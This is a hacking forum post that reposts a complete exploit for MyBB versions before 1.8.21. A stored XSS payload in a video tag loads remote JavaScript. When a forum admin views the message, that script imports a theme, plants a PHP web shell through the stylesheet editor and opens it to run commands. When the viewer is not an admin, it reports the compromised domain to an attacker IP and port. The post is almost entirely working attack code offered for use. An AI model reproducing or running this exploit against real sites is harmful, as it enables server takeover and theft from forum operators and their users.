Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

MyBB < 1.8.21 - Remote Code Execution

 Share


HACK1949

Recommended Posts

/*
# Exploit Title: MyBB < 1.8.21 Authenticated RCE 
# Date: July 24, 2019
# Exploit Author: Giovanni Chhatta (https://www.linkedin.com/in/giovannichhatta/)
# Vendor Homepage: https://mybb.com/
# Software Link: https://resources.mybb.com/downloads/mybb_1820.zip
# Version: 1.8.20
# Tested on: Windows 10
# Blog: https://blog.ripstech.com/2019/mybb-stored-xss-to-rce/

Example payload: [video=youtube]http://test/test#[url]onload='script=document.createElement(%22script%22);script.src=%22https://giovan.nl/mybb.js%22;document.body.append(script);'//[/url][/video]
This payload fetches another JS file (mybb.js), hosted on a VPS.

NOTE: Mybb's textbox will dynamically change apostrophes (') to &#39; . To fix this just manually change them back to apostrophes and hit 'send'. 
The payload will trigger once an admin views the message.
*/

/*
 * mybb.js
 */

function postReq(toUrl,body,setHeaders = true){
	var xhr = new XMLHttpRequest();
	xhr.open("POST",toUrl,false);

	if(setHeaders){
		xhr.setRequestHeader("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0");
		xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
		xhr.setRequestHeader("Accept-Language","nl,en-US;q=0.7,en;q=0.3");
		xhr.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------21840354016818");
		xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
	}else{
		xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	}	
	xhr.send(body);
}

function getReq(toUrl, property = true){
	var xhr = new XMLHttpRequest();

	xhr.open("GET",toUrl,false);
	xhr.send();

	prop = property ? xhr.responseText : xhr.status;
	return prop; 
}

function upload(url,key,payload){
	url = url + "admin/index.php?module=style-themes&action=import";
	data = "-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"my_post_key\"\r\n\r\n"+key+"\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"import\"\r\n\r\n0\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"local_file\"; filename=\"shel1l.xml\"\r\nContent-Type: text/xml\r\n\r\n"+payload+"\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"tid\"\r\n\r\n1\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"version_compat\"\r\n\r\n1\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"import_stylesheets\"\r\n\r\n1\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"import_templates\"\r\n\r\n1\r\n-----------------------------21840354016818--\r\n";
	postReq(url,data);
}

function fakeDiv(body){
	var div = document.createElement('div');
	div.innerHTML = body;
	div.setAttribute("id","fakediv");
	
	document.body.append(div);
	var themeLink = document.getElementsByClassName("popup_item")[2].href;
	var themeID = themeLink.substring(themeLink.indexOf("tid")+4,themeLink.length);
	document.getElementById("fakediv").remove();
	return themeID;
}

function getThemeID(url){
	url = url + "admin/index.php?module=style-themes";
	responseBody = getReq(url); 
	return fakeDiv(responseBody);
}

function editStylesheet(url,key,tid,filename){
	url = url + "admin/index.php?module=style-themes&action=edit_stylesheet&mode=advanced";
	data = "my_post_key="+key+"&tid="+tid+"&file="+filename+"&stylesheet=%3C%3Fphp+system%28%24_GET%5B1%5D%29%3B+%3F%3E&save=Save+Changes";

	postReq(url,data,false);

}

function checkShell(url,theme,filename){
	url = url + "cache/themes/theme" + theme + "/" + filename;
	if(getReq(url,false) == 200){
		console.log("[*] Shell found in theme " + theme);
		window.open(host + "cache/themes/theme"+theme+"/"+filename+"?1=whoami");
	}else{
		console.log("[!] Exploit failed: Couldn't find shell.")
	}
}

function callHome(theme){
	let IP = "10.11.6.96"; // Change this
	let port = 1234; // Change this

	let url = "http://" + IP + ":" + port + "/" + document.domain + "/isPwned/theme" + theme;

	getReq(url);
}

isAdmin = false;

host = location.href.split('/')[0] + "//" + location.href.split('/')[2] + "/mybb/"; // Change last part 
key = document.getElementsByName("my_post_key")[0].value;
filename = "910910910910910910910910xD.php";
payload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<theme>\r\n<stylesheets>\r\n<stylesheet name=\""+filename+".css\">\r\ngecko\r\n</stylesheet>\r\n</stylesheets>\r\n</theme>"
upload(host,key,payload);
theme = getThemeID(host);
editStylesheet(host,key,theme,filename);

isAdmin ? checkShell(host,theme,filename) : callHome(theme);
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...